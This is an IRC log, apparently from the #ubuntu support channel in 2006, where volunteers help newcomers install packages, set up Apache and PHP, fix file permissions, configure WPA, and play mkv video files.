[05:26] <mikebot> powder, what did you do after you apt-get installed it?
[05:26] <Francisco> _jason, it did nothing
[05:26] <frank23> michael you have to install checkinstall with synaptic before it will work
[05:26] <MasterJ> I am trying to create a lauch icon that will run all the necessary commands to sync my pda
[05:26] <NickGarvey> I am trying to move all files from my ubuntu hard drive to my windows hard drive, but I am unable to due to write-protection, I am unable to boot my ubuntu hard drive, how can I fix this?
[05:26] <michael> k
[05:26] <_jason> Francisco: paste what you typed
[05:26] <powder> mikebot, go to http://localhost/
[05:26] <frank23> !info maxima
[05:26] <ubotu> maxima: (A fairly complete computer algebra system-- base system), section universe/math, is optional. Version: 5.9.1-9build1 (breezy), Packaged size: 7977 kB, Installed size: 26912 kB
[05:26] <MasterJ> so far it works, but i want to have a choice whether to run multisync or not
[05:26] <dazvid> Quick question, is it possible to update a 32bit ubuntu to 64bit or will i have to do a clean install of 64bit?
[05:26] <mikebot> powder, okay
[05:27] <frank23> michael actually it would be better if you just install maxima with synaptic.
[05:27] <michael> shoud is it in the repository??
[05:27] <powder> mikebot, if it came up without error, your apache server is good to go
[05:27] <frank23> michael using synaptic to install stuff is much easier
[05:27] <mikebot> powder, how do i add documents to the apache server?
[05:27] <frank23> !tell michael about synaptic
[05:27] <mikebot> powder, i don't know how to use it is the problem
[05:27] <Francisco> _jason, I am sorry.. It works and apers that /dev/hdb        /media/cdrom0   udf,iso9660 user,noauto     0       0
[05:27] <intelikey> MasterJ see my pm.   paste that in your terminal.   and test it.
[05:27] <frank23> !tell michael about sources
[05:27] <NickGarvey> mikebot, read the documentation
[05:27] <mikebot> NickGarvey, okay
[05:27] <rnd_null> solid_liq, ??
[05:27] <_jason> Francisco: there you go, just use /dev/hdb.  Be sure to read the warnings at the top of the wiki page
[05:28] <mikebot> NickGarvey, The requested URL /manual/ was not found on this server.
[05:28] <michael> CRAP - i didn't find it in there b4, thanks
[05:28] <powder> mikebot, put your index.html in /var/www/
[05:28] <michael> now i feel foolish
[05:28] <Francisco> _jason, what can it pass?
[05:28] <mikebot> powder, ah okay
[05:28] <_jason> Francisco: I only know what that wiki page says
[05:28] <mikebot> powder, to make it do php, do i have to download somethign additional?
[05:29] <frank23> michael. you only have to compile programs which are not available thru the repositories. and there is like 15000 packages available there
[05:29] <Francisco> _jason, what does "newer" mean?
[05:29] <NickGarvey> mikebot: have php installed already?
[05:29] <powder> mikebot, yes
[05:29] <powder> mikebot, check this out:  http://easylinux.info/wiki/Ubuntu#Apache_HTTP_Server
[05:29] <mikebot> NickGarvey, don't think so
[05:29] <michael> when that happenes, should i just use checkinstall instead of make?
[05:29] <mikebot> powder, thanks
[05:29] <_jason> Francisco: mais novo in portuguse, should be similar in spanish I hope
[05:30] <powder> mikebot, it will tell you how to install php
[05:30] <mikebot> powder, okay, cool, thanks
[05:30] <salah> Hi, How can I setup Mplayer ?
[05:30] <Francisco>  Most systems newer than 4 years support DMA.
[05:30] <Francisco>  it means that support DMA the system from 2002-2006
[05:30] <_jason> Francisco: it just means your system is not older than 4 years.  Does that make more sense?
[05:30] <_jason> ubotu: tell salah about mplayer
[05:30] <frank23> michael  when you have to compile? yeah, checkinstall installs the program with a .deb so it fits in with the rest of the system
[05:30] <Vaske_Car> What is the name for that GUI aplication used to install packages on Ubuntu?
[05:31] <michael> ty
[05:31] <frank23> Vaske_Car: synaptic
[05:31] <Francisco> _jason, ok I have bouthg it."
[05:31] <Vaske_Car> how do you access that?
[05:31] <NickGarvey> !synaptic
[05:31] <ubotu> methinks synaptic is https://wiki.ubuntu.com/SynapticHowto
[05:31] <frank23> Vaske_Car: its in the menu somewhere
[05:31] <hollywood> is Cedega  only available off of the transgamer website?
[05:32] <Agrajag> yeah, that's who develops and sells it
[05:32] <frank23> hollywood, you can get a cvs version for free as well but it misses a few features
[05:32] <Francisco> _jason, I have done.. I hope it works"
[05:32] <Francisco> I wiil try
[05:32] <rnd_null> what is a PDD file?
[05:32] <hollywood> Is it as good as it sounds?
[05:33] <frank23> hollywood for some games, yeah
[05:33] <ladofnod> is anyone familiar with disabling x.org and using xfree86? i think it could vastly speed up my computer.
[05:33] <rukuartic> ladofnod: this is what I do... rather lame though
[05:33] <efarrar> hey i have a mousepad and an eraserhead as my pointers, but xset m only seems to control the eraser...How can i make it control the mousepad?
[05:33] <frank23> hollywood there is gamesdb where you can see how well different games work
[05:33] <Francisco> _jason, geeeehaaaaaaaaa..
[05:33] <Francisco> yeah
[05:34] <Vaske_Car> frank23: THanks~
[05:34] <rukuartic> ladofnod: go ctrl+alt+F1, and type "sudo gdm stop", then you can "sudo killall xorg" and anything else... to get back you'd have to type "startx" and then maybe "gdm start"
[05:34] <rukuartic> ladofnod: to get back to the gui press ctrl+alt+f7
[05:34] <ladofnod> rukuartic: would you so it's not really worth it then?
[05:34] <hollywood> Is it only the subscribtion to trangaming.org that costs or the program itself?
[05:34] <rukuartic> ladofnod: what are you doing with your computer?
[05:34] <dazvid> hollywood, subscription.
[05:34] <michael> when i install something with dpkg (.deb) does it usually go into the start menu. or how do I add them?
[05:35] <frank23> hollywood the when you subscribe, you can download the program
[05:35] <mikebot> powder, will other people be able to access this too?
[05:35] <dazvid> when you have subscribed you can download the latest versions
[05:35] <fiveiron> what is the name of the package for flex?
[05:35] <_jason> fiveiron: flex
[05:35] <dazvid> hollywood, but if your subscription runs out, you can still use it :)
[05:35] <frank23> hollywood there is a free trial as well I think
[05:35] <solid_liq> rnd_null: when you got confused, you apparently screwed up xorg.conf
[05:35] <ladofnod> mainly internet, video and documents. ive got any older machine that i juts want to make zippier
[05:35] <michael> like the games deb package from seveas' website
[05:35] <powder> mikebot, yes, are you behind a router?
[05:35] <rukuartic> ladofnod: if you want to use a graphical desktop still, you shoult try xfce
[05:35] <mikebot> powder, no...but what address do i give other people
[05:36] <rukuartic> ladofnod: If you want to do video, you need XOrg
[05:36] <Francisco> _jason, so thanks. you are a good person..
[05:36] <ladofnod> rukuartic: yeah i use it now. works very well
[05:36] <mikebot> powder, and i can't even access index.html...You don't have permission to access /index.html on this server.
[05:36] <_jason> Francisco: np
[05:36] <solid_liq> tritium: I can't seem to get it to connect to my encrypted ap
[05:36] <Xaero_Vincent> ok... heres whats wrong...
[05:36] <Francisco> I can contact you on msn or some place like this..
[05:36] <Falstius> why would XFree86 be faster than xorg?
[05:37] <rnd_null> solid_liq, hmm....the url to the help file is... https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia ... i had a problem with item 11
[05:37] <_jason> Francisco: here is better
[05:37] <ladofnod> rukuartic: ture i suppose. im still a little new with linux, you'll have to forgive me.
[05:37] <solid_liq> tritium: ifup now knows about my ath0, and brings it up with the static IP I configured, but I can't find a way to spec the key in /etc/network/interfaces
[05:37] <tritium> solid_liq: wep or wpa?
[05:37] <bosewicht> if you have ubuntu installed on a box and put in an ubuntu install cd, will it give u options to upgrade repair etc? i've been getting irqpoll errors on boot and the system wont boot. I tried adding irqpoll to grub, but still didn't work
[05:37] <powder> mikebot, did you copy your index.html to /var/www ?
[05:37] <Neko_Freak> any1 know how i get my mkv files to work? I looked it up that I needed Mplayer's essentials codec pack...so i d/led it...but now i dunno what to do with it >.<
[05:37] <solid_liq> tritium: wpa2
[05:37] <rnd_null> solid_liq, it was already installed, so i picked update...is that where it went wrong?
[05:37] <Varanger> !tell Varanger about 915resolution
[05:38] <Xaero_Vincent> I installed the 2.6.12.10 kernel compiled for 686 and removed all the i386 one. This way I may get slightly better performance and full RAM support
[05:38] <Francisco> _jason, see ya
[05:38] <Xaero_Vincent> but when I did so, I lost my 3D acceleration
[05:38] <mikebot> powder, yes
[05:38] <solid_liq> rnd_null: dunno, I'm new to Ubunto :D  I've used linux for several years, just not ubuntu
[05:38] <Xaero_Vincent> im a little confused...
[05:38] <rnd_null> oh
[05:38] <dazvid> When does the next ubuntu come out?
[05:38] <rnd_null> solid_liq, its day 1.5 for me
[05:39] <powder> mikebot, are you able to see your website when going to http://localhost/ ?
[05:39] <JayR168> I just installed ubuntu and it randomly freezes, why?
[05:39] <mikebot> powder, i get: Forbidden   You don't have permission to access /index.html on this server.
[05:39] <tritium> solid_liq: are you using wpasupplicant?
[05:39] <Xaero_Vincent> anyone know why I lost 3D support with a new kernel install?
[05:39] <solid_liq> rnd_null: I've used redhat, slackware, mandrake (before it was renamed mandriva), and gentoo extensively :D
[05:39] <Xaero_Vincent> 3D acceleration*
[05:39] <warpzone> does chmod/chown work on my own home directory if I want other users to be able to view its contents?
[05:40] <intelikey> the kernel modules
[05:40] <JayR168> even if im just browsing the web with firefox, I have updated my kernel to 2.6.x.x i686 still the problem exist
[05:40] <fiveiron> what is the package name for flex?
[05:40] <fiveiron> in dapper flight 5
[05:40] <intelikey> warpzone yes
[05:40] <solid_liq> tritium: I will be now that you reminded me about it :D
[05:40] <techrush> i have the same problem here JayR168 dont know what the deal is
[05:40] <bimberi> fiveiron: flex
[05:40] <warpzone> intelikey: alright, i'll have to see what I'm messing up. thanks man
[05:40] <me2win> !avi
[05:40] <ubotu> avi is, like, Video for Windows. For more info http://wiki.ubuntu.com/RestrictedFormats
[05:40] <tritium> solid_liq: :)
[05:40] <Xaero_Vincent> do i need to reinstall the drivers? or is there a config file I need to change?  I tried reconfiguring xserver and did aticonfig --initial
[05:41] <fiveiron> bimberi: i can't seem to do "apt-get install flex"
[05:41] <me2win> !xvid
[05:41] <powder> mikebot, that's strange, do an "ls -la /var/www" and tell me what the permissions are on index.html
[05:41] <ubotu> me2win: Some people juggle geese. Try searching at http://ubuntu.cc.com.au/
[05:41] <tritium> !tell solid_liq about wpa
[05:41] <rnd_null> solid_liq, i messed around with slackware back around 95-ish, but i'm back for good now, i finally had enough of microsoft
[05:41] <bimberi> fiveiron: do you have the main repository enabled?
[05:41] <intelikey> warpzone you know that dirs have to be exec'd  ?
[05:41] <fiveiron> should... let me check
[05:41] <mikebot> powder, -rw-------   1 michael michael   22 2006-03-15 20:29 index.html
[05:41] <solid_liq> rnd_null: good :D  I'd suggest you try KDE instead of Gnome, you may like it better
[05:41] <rnd_null> it took me about a dozen distros through about 2 weeks or so of searching to finally settle on ubuntu
[05:41] <rnd_null> nope, i like gnome better
[05:41] <intelikey> warpzone   chmod 755 $HOME
[05:41] <rnd_null> solid_liq, ^
[05:42] <Mabus06> Somebody was trying to access the file sharing port of my windows computer, according to zonealarm. I am on ubuntu now, but if there is a possibility somebody is trying to maliciously affect my computer, what should I do to keep my computer safe?
[05:42] <intelikey> that will let them read but not write.
[05:42] <warpzone> intelikey: haha, I do now! If I enable execute, will they be able to delelte files within, though? I want other users to see and copy but not delete
[05:42] <fiveiron> bimberi: I have 6.04 updates binary, 6.04 dapper drake binary (universe) and like 5 others
[05:42] <powder> mikebot, do a "sudo chmod 644 /var/www/index.html"
[05:42] <rnd_null> solid_liq, KDE is pretty, but it reminds me too much of windows, it dosent seem very....hmm...i dont know the word for it
[05:42] <intelikey> warpzone   chmod 755 $HOME
[05:42] <bimberi> fiveiron: put your sources.list on the pastebin
[05:43] <solid_liq> rnd_null: you ever tried baghira on kde?   It makes it look like Mac OS X :D
[05:43] <warpzone> intelikey: will do, thanks again man
[05:43] <IdleOne> rnd_null>  the word is Linux :)
[05:43] <fiveiron> bimberi: i think i found the prob
[05:43] <fiveiron> bimberi: one sec
[05:43] <rnd_null> solid_liq, yeah, that'd be the word
[05:43] <intelikey> rnd_null  geeky ?
[05:43] <mikebot> powder, that worked...am i going to have to do that command for every file?
[05:43] <rnd_null> solid_liq,  or that too
[05:44] <rnd_null> intelikey, maybe
[05:44] <solid_liq> tritium: ok, now how do I configure wpasupplicant to be used?
[05:44] <intelikey> rnd_null   yeah  i know.    why not go console only.   it's the geeks way....
[05:45] <powder> mikebot, short answer no, only if you have problems accessing the file.  if not leave the permissions alone
[05:45] <mikebot> powder, by the way, the way i did index.html was i made it on my desktop, then sudo mv it to var/www
[05:45] <rnd_null> intelikey, yeah, i could go console, but i'm all about eye candy too
[05:45] <mikebot> powder, also, how do i know what the address to my apache is?
[05:45] <Neko_Freak> any1 know how i get my mkv files to work? I looked it up that I needed Mplayer's essentials codec pack...so i d/led it...but now i dunno what to do with it >.<
[05:45] <intelikey> oh.   well   e15 ?
[05:46] <solid_liq> rnd_null: you should most definitely try 'screen' while on the cli
[05:46] <silvaran> Neko_Freak: I think those things need to be unpacked and the files copied to /usr/lib/win32/
[05:46] <IdleOne> !tell Neko_Freak  about mkv
[05:46] <rnd_null> intelikey, i dont even know what that is
[05:46] <frank23> Neko_Freak: i don't think you need w32codecs for mkv.  totem-xine should handle them
[05:46] <frank23> Neko_Freak: but install w32codecs anyways
[05:46] <silvaran> frank23: Good call :)
[05:46] <powder> mikebot, i will try what you did and see if the permissions change
[05:46] <intelikey> enlightenment desktop environment version ##
[05:46] <silvaran> rnd_null: It's awesome... do you use ssh a lot?
[05:46] <powder> mikebot, you need to know your external ip address
[05:46] <frank23> !tell Neko_Freak about restricted
[05:46] <lastent> !nptl
[05:47] <ubotu> What? Try searching at http://ubuntu.cc.com.au/, lastent
[05:47] <rnd_null> intelikey, i dont know what ssh is, like i said earlier, this is day 1.5 of using linux for me
[05:47] <mikebot> powder, how can i find that out?
[05:47] <solid_liq> !wpasupplicant
[05:47] <ubotu> solid_liq: parse error: Try searching at http://ubuntu.cc.com.au/
[05:47] <IdleOne> mikebot> 169.231.11.193
[05:47] <Neko_Freak> idolone, if vlc would play the files...i wouldn't ask
[05:47] <solid_liq> !wpa
[05:47] <ubotu> [wpa]  enable the universe repository, then "sudo apt-get update", and then "sudo apt-get install wpasupplicant".  See https://wiki.ubuntu.com/WPAHowto for more details
[05:47] <powder> mikebot, what IdleOne said :)
[05:47] <Neko_Freak> >,<
[05:47] <IdleOne> Neko_Freak>  I dont know then sorry
[05:47] <mikebot> IdleOne, hehe thanks
[05:48] <intelikey> rnd_null but you know you don't like kde ?
[05:48] <solid_liq> rnd_null: you need to play with ssh, it's great
[05:48] <mikebot> IdleOne, how did you know that?
[05:48] <powder> mikebot, congrats I can see your website :)
[05:48] <IdleOne> mikebot>  for future reference on irc use /dns nickname and it will return ip addy
[05:48] <mikebot> powder, hooray, thanks
[05:48] <rnd_null> intelikey, what is it?
[05:48] <tritium> solid_liq: did you read the URL I had ubotu send you?
[05:48] <mikebot> IdleOne, ah, thanks
[05:48] <frank23> Neko_Freak: for some reason the vlc in ubuntu doesn't play mkv.  The mkv support *should* be compiled in but its not
[05:48] <fiveiron> bimberi: http://pastebin.com/604838
[05:48] <silvaran> lastent: nptl-related problems?
[05:49] <JayR888> hi
[05:49] <mikebot> what happens if i change my hostname in system > admin > networking
[05:49] <JayR888> ubuntu "breezy" freezes randomly
[05:49] <mikebot> will my university network admin get fussy?
[05:49] <lastent> silvaran u just wanted to know what it is
[05:49] <JayR888> I updated my kernel to 2.6.12 i686 but still it freezes
[05:49] <JayR888> why?
[05:49] <intelikey> "<rnd_null> solid_liq, KDE is pretty, but it reminds me too much of windows,"  <--- and now you say "<rnd_null> intelikey, what is it? "    ?????  what did i miss ?
[05:49] <solid_liq> tritium: yeah, I just remembered it :D
[05:49] <IdleOne> mikebot>  nice site! simplae and to the point :)
[05:49] <IdleOne> simple*
[05:50] <intelikey> never mind.
[05:50] <silvaran> lastent: Native Posix Threading Library ... basically a faster version of the old thread library Linux used...
[05:50] <mikebot> IdleOne, haha
[05:50] <rnd_null> intelikey, no no, what is 'ssh'
[05:50] <intelikey> oh
[05:50] <frank23> JayR888: that's not much information to go by
[05:50] <JayR888> help me people? how do I know whats causing the problem? where do I start looking for logs?
[05:50] <intelikey> ssh=secure shell
[05:50] <Neko_Freak> Frank23, what if i don't have a win32 folder o.o?
[05:50] <rnd_null> oh
[05:50] <Munkie2> alright...the amd64 iso boots into setup and then says 'Your cpu does not support long mode. Switch to a 32-bit balh blah...'  but the i386 iso doesnt boot into the setup at all.....any help?
[05:50] <intelikey> netowrking tool for linux rnd_null
[05:50] <lastent> silvaran thank u
[05:50] <silvaran> Neko_Freak: sudo mkdir -p /usr/lib/win32
[05:50] <frank23> Neko_Freak: did you see the link ubotu sent you?
[05:50] <JayR888> when im on the desktop after logging in it just freezes about 30secs or so..
[05:51] <me2win> wwhat do i need to play xvid avi?
[05:51] <intelikey> !info ssh
[05:51] <ubotu> ssh: (Secure shell client and server (transitional package)), section net, is optional. Version: 1:4.1p1-7ubuntu4 (breezy), Packaged size: 1 kB, Installed size: 32 kB
[05:51] <powder> mikebot, here is mine :) http://72.129.22.138:8080/
[05:51] <frank23> Munkie2: do you have an amd64 cpu?
[05:51] <intelikey> rnd_null  ^
[05:51] <rnd_null> intelikey, yeah, its still all greek to me, maybe after a couple of months i'll start trying new things, but for, i'll stick with what works
[05:51] <fiveiron> bimberi: do i have the right repository?
[05:51] <bimberi> fiveiron: sorry, got called away, looking now ...
[05:51] <mikebot> powder, yours is a more advanced version of mine...did you draw that?
[05:52] <powder> mikebot, lol no i found it on the web somewhere :)
[05:52] <mikebot> powder, or paint rather (is water color a verb?)
[05:52] <fiveiron> bimberi: lol... no need for apologies.... i appreciate the help
[05:52] <lastent> silvaran where are u from
[05:52] <silvaran> lastent: atlantic canada
[05:52] <bimberi> fiveiron: you need a line "deb http://us.archive.ubuntu.com/ubuntu/ dapper main restricted" , you have a deb-src one but not a _deb_ one
[05:53] <frank23> JayR888: hard freeze and nothing works after?
[05:53] <fiveiron> ah
[05:53] <lastent> silvaran is silvaran ur lastname?
[05:53] <powder> mikebot, you in socal??
[05:53] <silvaran> lastent: Nope
[05:53] <silvaran> lastent: just a made up alias i use online
[05:53] <JayR888> frank23: the mouse curcor moves, but cannot click anything
[05:53] <rnd_null> how do i make my drop down menus transparent?
[05:53] <lastent> silvaran it is a very latin alias
[05:53] <silvaran> lastent: How so?
[05:53] <lastent> silvaran i mean it is a latin lastname
[05:54] <IdleOne> !offtopic
[05:54] <ubotu> Non Ubuntu support related discussions may be carried out in #ubuntu-offtopic. Editor/Language wars are welcome there!
[05:54] <lastent> sorry
[05:54] <frank23> JayR888: I don't know...  maybe do searches in the forums or google. I have no idea
[05:54] <Munkie2> frank23, no
[05:54] <silvaran> lastent: Wow, I had no idea.
[05:54] <silvaran> that's pretty cool
[05:54] <Munkie2> frank23, but the i386 doesnt work either >.<
[05:55] <IdleOne> Munkie2>  bad drive maybe?
[05:55] <oxez> How can I rename the icons on my desktop which point to my mounted partition? Id like to have "Media" instead of "/mnt/media"
[05:55] <silvaran> lastent: Do you know if it has any meaning?
[05:55] <frank23> Munkie2: yeah that's strange. bad cd burn?
[05:55] <IdleOne> oxez>  right click on it
[05:55] <oxez> IdleOne, tried.
[05:55] <lastent> silvaran are u registered?
[05:55] <JayR888> frank23 ive tried suse linux 10 and it still freezes?
[05:55] <silvaran> lastent: registered how?
[05:56] <lastent> silvaran on the server
[05:56] <JayR888> frank23 ive tried suse linux 10 and it still freezes? same symptoms, but debian 3.1 seems to be fine
[05:56] <Munkie2> i burnt 3 i386's....none worked...but the 64 one worked...plus other distro boot discs work
[05:56] <IdleOne> oxez>  in properties? cant change the name
[05:56] <triggerfishy1> I cannot seem to change my screen resolution. Can anyone help?
[05:56] <JayR888> im troubled by this
[05:56] <IdleOne> !tell triggerfishy1 about fixres
[05:56] <oxez> IdleOne, Ill try to give chown it
[05:56] <silvaran> lastent: Yeah, with nickserv at least...
[05:56] <oxez> err, just chown it
[05:56] <Madpilot> JayR168, when I had random system freezes in Ubuntu, it was because my motherboard was borked...
[05:57] <frank23> JayR888: it might be possible to install debian and dist-upgrade to breezy. I don't know if it works but it might
[05:57] <intelikey> neuro|laptop: Symbol `Hertz' has different size in shared object, consider re-linking
[05:57] <intelikey> neuro|laptop: relocation error: top: undefined symbol: xmalloc
[05:57] <Xaero_Vincent> the only time Ubuntu freezes for me is when Gnome crashes
[05:57] <JayR888> is it posible to downgrade my kernel?
[05:57] <Munkie2> any ideas?
[05:58] <frank23> JayR888: yes its possible
[05:58] <Neko_Freak> frank23, i installed the w32codecs as it said in the link...but i tried all the Players i have....none work
[05:58] <JayR888> how to find older kernels?
[05:58] <JayR888> its not in apt-cache
[05:58] <Neko_Freak> VLC, Totem, Mplayer...none of them work for mkv files still
[05:58] <frank23> Neko_Freak: for mkv you might need xine so try totem-xine or gxine
[05:58] <frank23> Neko_Freak: did you install totem-xine?
[05:58] <fiveiron> anyone else getting errors from bzip2 and gzip when you try to do an "apt-get upgrade"?
[05:59] <Neko_Freak> yeah
[05:59] <intelikey> JayR888 apt-cache search kerenl ;apt-cache search linux
[05:59] <mikebot> powder, hey, when i open tag.php, it shows stuff, but when i open a file with this: <? include "tag.php";?>, it shows nothing
[05:59] <Neko_Freak> frank23: i installed that too....
[05:59] <frank23> Neko_Freak: is there a configuration for the totem engine in totem?
[06:00] <powder> mikebot, sorry i have no idea about php, i'm a php noob :)
[06:00] <mikebot> powder, hehe okay
[06:00] <mikebot> hey, when i open tag.php, it shows stuff, but when i open a file with this: <? include "tag.php";?>, it shows nothing
[06:00] <fiveiron> err
[06:00] <frank23> Neko_Freak: I don't use totem so I'm only guessing here but xine *should* work. It does for me
[06:00] <fiveiron> anyone else getting errors from bzip2 and gzip when you try to do an "apt-get update"?
[06:01] <intelikey> JayR888 apt-cache search kerenl ;apt-cache search linux | grep -ie'^linux'    <--- that filter will shorten it for you.
[06:01] <oxez> IdleOne, any other ideas?
[06:01] <rnd_null> what is the number command for chmod that sets all users to read only?
[06:02] <rnd_null> for a folder
[06:02] <powder> fiveiron, that's most likely a server issue, wait 10 min and try again
[06:02] <Neko_Freak> frank23: Bah...i also tried gxine it says "No demuxer found - stream format not recognised."
[06:02] <IdleOne> oxez>  nope but I dont have icons on my desktop so I dont care what they are named . sorry
[06:02] <oxez> rnd_null,  chmod u+r-w
[06:02] <rnd_null> thx
[06:02] <intelikey> 555 rnd_null
[06:03] <intelikey> oxez that wont give read perm on a dir   must exec.
[06:03] <volmarias> Does anybody have any experience with SAMBA? I'm setting up a samba server for the first time, but when I try and log into a share I get NT_STATUS_BAD_NETWORK_NAME
[06:03] <frank23> Neko_Freak: that is weird. I never found a file that neither mplayer, xine or vlc couldn't open
[06:03] <oxez> intelikey, yea I know
[06:03] <intelikey> k
[06:03] <powder> volmarias, http://easylinux.info/wiki/Ubuntu#Samba_Server
[06:03] <oxez> volmarias, from gamesurge?
[06:04] <volmarias> oxez: yes
[06:04] <oxez> :o
[06:04] <volmarias> powder: I've seen that
[06:04] <Neko_Freak> frank23: i think its because none of them can find the correct plugins
[06:04] <Munkie2> frank23, any idea on what to do?
[06:04] <Neko_Freak> frank23: but i dunno how to fix it
[06:04] <volmarias> powder: but I didn't see one part in particular that I think might solve my problem. Just a sec.
[06:04] <frank23> Neko_Freak: xine is pretty much self contained. I don't know what the problem is
[06:05] <frank23> Munkie2: I don't know
[06:05] <ithiel> btw
[06:05] <frank23> Neko\
[06:05] <frank23> Neko_Freak: does the same file play in windows?
[06:06] <intelikey>      poll   how many have server install, and  "who"  doesn't work ?     ?
[06:06] <oxez> IdleOne, then do you know how I can prevent gnome from displaying my mounted partitions^
[06:06] <Neko_Freak> frank23: well, im not running windows...but when i was running it, it worked.
[06:06] <oxez> IdleOne, (on desktop)
[06:06] <Neko_Freak> frank23: then again, i had K-Lite codec pack installed...so i didn't have to worry about anything
[06:07] <IdleOne> oxez> I dont
[06:07] <frank23> Neko_Freak: well you can try installing kaffeine-xine too. that works for me
[06:07] <powder> oxez, hang on.....
[06:07] <intelikey>      poll   how many have server install, and  "who"  actually works ?     anybody ?
[06:08] <jacob> hey
[06:08] <powder> oxez, applications->system tools->config editor->apps->nautilus->desktop->volumes visible (uncheck)
[06:08] <oxez> powder, oh, thanks!
[06:09] <raptorx> can anyone help me with Xgl/gnome?
[06:09] <tritium> !xgl
[06:09] <ubotu> XGL on Ubuntu: http://wiki.ubuntu.com/XglHowto - Join #ubuntu-xgl for all the XGL fun on Ubuntu systems. It works ONLY on dapper. Pretty videos on http://www.novell.com/linux/xglrelease/
[06:09] <raptorx> nice
[06:09] <raptorx> now
[06:09] <michael117> How can I find the dependencies of a deb package with dpkg?
[06:09] <raptorx> if only i could get X running
[06:09] <raptorx> i would totally check that out
[06:09] <intelikey> so is ubuntu no good for use as a server then ?
[06:10] <frank23> Neko_Freak: I'm guessing this is for anime. Can't have mkv not working! ;)
[06:10] <volmarias> intelikey, you base that off of no one taking your "poll" ?
[06:10] <raptorx> NOO ANIMEEE ONOOEES
[06:10] <powder> intelikey, what is the problem?
[06:10] <raptorx> hm
[06:10] <tritium> intelikey: ?
[06:10] <intelikey> tty2 [root#~]  who -a
[06:10] <intelikey> tty2 [root#~] 
[06:10] <Neko_Freak> frank23: So very true
[06:10] <IdleOne> intelikey> if you enjoy cli that much server install is great
[06:11] <powder> lol yup
[06:11] <powder> Neko_Freak, I have mkv working with VLC
[06:11] <raptorx> fglrxinfo is locking up
[06:11] <raptorx> nice!
[06:11] <intelikey> IdleOne server should work tho   and broken  admin apps  is not my idea of "works"
[06:11] <volmarias> Well, I'm still having trouble with samba. I've enabled home accounts, how would I access them via smbclient? I've tried //hostname/myusername, //hostname/homes, //hostname/homes/, no luck.
[06:11] <raptorx> oh
[06:11] <raptorx> X is breaking it
[06:11] <IdleOne> intelikey>  personnaly I need GUI but enjoy using command line for pratically everything heh
[06:11] <raptorx> how to I kill tty7?
[06:11] <Mabus06> Somebody was trying to access the file sharing port of my windows computer, according to zonealarm. I am on ubuntu now, but if there is a possibility somebody is trying to maliciously affect my computer, what should I do to keep my computer safe?
[06:11] <raptorx> or.. hmm
[06:11] <raptorx> nevermind i have another idea
[06:12] <volmarias> Mabus06, if zone alarm reported it, you're fine.
[06:12] <tristanmike> Mabus06, don't run in root
[06:12] <intelikey> tty3 [root#~]  w
[06:12] <Mabus06> Because the guy was trying like every couple of seconds from different ips from the same domain.
[06:12] <intelikey>  23:10:32 up  1:39,  0 users,  load average: 0.00, 0.00, 0.00
[06:12] <intelikey> USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
[06:12] <intelikey> tty3 [root#~] 
[06:12] <intelikey> anothe broke admin app   ^
[06:12] <Mabus06> volmarias: but I'm on ubuntu now...
[06:12] <IdleOne> intelikey>  agreed it should work but if your having issues you can ask for help :)
[06:12] <volmarias> Mabus06, then you're doubly fine :)
[06:12] <_mike> tritium: (I'm solid_liq)  Thanks, it's working!!  :D
[06:12] <volmarias> Mabus06, as long as your system is patched and you're running a firewall, you're almost certainly ok against anything
[06:12] <me2win> !avi
[06:12] <ubotu> [avi]  Video for Windows. For more info http://wiki.ubuntu.com/RestrictedFormats
[06:13] <frank23> Neko_Freak: I just noticed I had totem installed and I tried to play a mkv. It worked. Maybe your files are different somehow
[06:13] <volmarias> Mabus06, unless you have the ports opened up for file sharing on your windows machine, you don't have anything to worry about
[06:13] <Mabus06> volmarias: I don't have any firewall software, this is a fresh ubuntu install.
[06:13] <frank23> Neko_Freak: make with a new version of mkv or something?
[06:13] <volmarias> Mabus06, did you just nuke your windows install because someone sent you a few packets?
[06:13] <Mabus06> But I do connect through a router, so there is the firewall aspect of that right?
[06:13] <Mabus06> volmarias: no, dual boot.
[06:13] <intelikey> IdleOne i was not the one that brought that up   there were two others in here yesterday saying that their   who   and   w   were borked.   so i tested mine  and it's hosed just like theirs.
[06:13] <Mabus06> And because I was going to get around to reinstalling ubuntu on this machine anyway.
[06:14] <volmarias> Mabus06, you're probably fine. It doesn't seem like the router is acting like a firewall, because zonealarm is reporting things. Either you have yourself set in the DMZ or you have those ports forwarded
[06:14] <Mabus06> And I figure that while I got 4000 high rated intrusions blocked in an hour, it was a good time to turn the computer off.
[06:14] <IdleOne> intelikey>  iirc server was added in breezy so yeah it  might have issues that arent resolved
[06:14] <Neko_Freak> frank23: uhh...whaa?
[06:14] <volmarias> Mabus06, piss anyone off lately? :)
[06:14] <Grark> haha
[06:14] <powder> intelikey, debian might be better for a server if you're running into problems with ubuntu
[06:14] <Neko_Freak> frank23: I think im getting closer, i got the audio part to work in gxine
[06:15] <Grark> I got botted from Azureus-support for helping
[06:15] <intelikey> IdleOne this is hoary.    they were running  flight4/5
[06:15] <cowo> semarang
[06:15] <Grark> anyone use azureus a lot here?
[06:15] <frank23> Neko_Freak: what did you change?
[06:15] <Neko_Freak> frank23: the audio also shows as running in vlc...just no video
[06:15] <volmarias> Anyway, anyone have any suggestions with my samba issue?
[06:15] <Mabus06> volmarias: no, but I did go to the #2600 channell on their network after reading their magazine. I don't think they're as keen on being whitehats as their magazine made me think.
[06:15] <Neko_Freak> frank23: if only i could remember
[06:15] <Neko_Freak> frank23: actually...nothing
[06:15] <cowo> hi
[06:15] <raptorx> guys, it says Unable to open display: 0
[06:15] <raptorx> any suggestions?
[06:15] <intelikey> IdleOne not   'server'   server install of the normal ubuntu.
[06:15] <volmarias> Mabus06, did you mask your IP?
[06:16] <Mabus06> volmarias: no...
[06:16] <IdleOne> intelikey>  beats me I did a server install a couple weeks ago and kept it for 10 mins then switched back to default :/
[06:16] <volmarias> Then they probably found you were running mIRC and considered you game :)
[06:16] <Neko_Freak> frank23: but it says it was using matroska
[06:16] <Mabus06> volmarias: actually I was running xchat for windows, got used to it form ubuntu
[06:16] <intelikey> IdleOne does your w  and who  work ?
[06:16] <schultzi> I have one quick question: when my screensaver comes on and I unlock the screen, the screensaver comes back on a few seconds later, my screen shuts off, and I can't log back in no matter what I do. I just get a blank screen. Any suggestions?
[06:16] <volmarias> Anyway, mabus, if the same domain keeps trying to attack you, block them at the firewall.
[06:17] <Mabus06> volmarias: domain might not have been the right word... the first two octets were always the same
[06:17] <volmarias> oh.
[06:17] <raptorx> do do dooo i hate x right now
[06:17] <IdleOne> intelikey>  yup they work but like I said Im on default install now
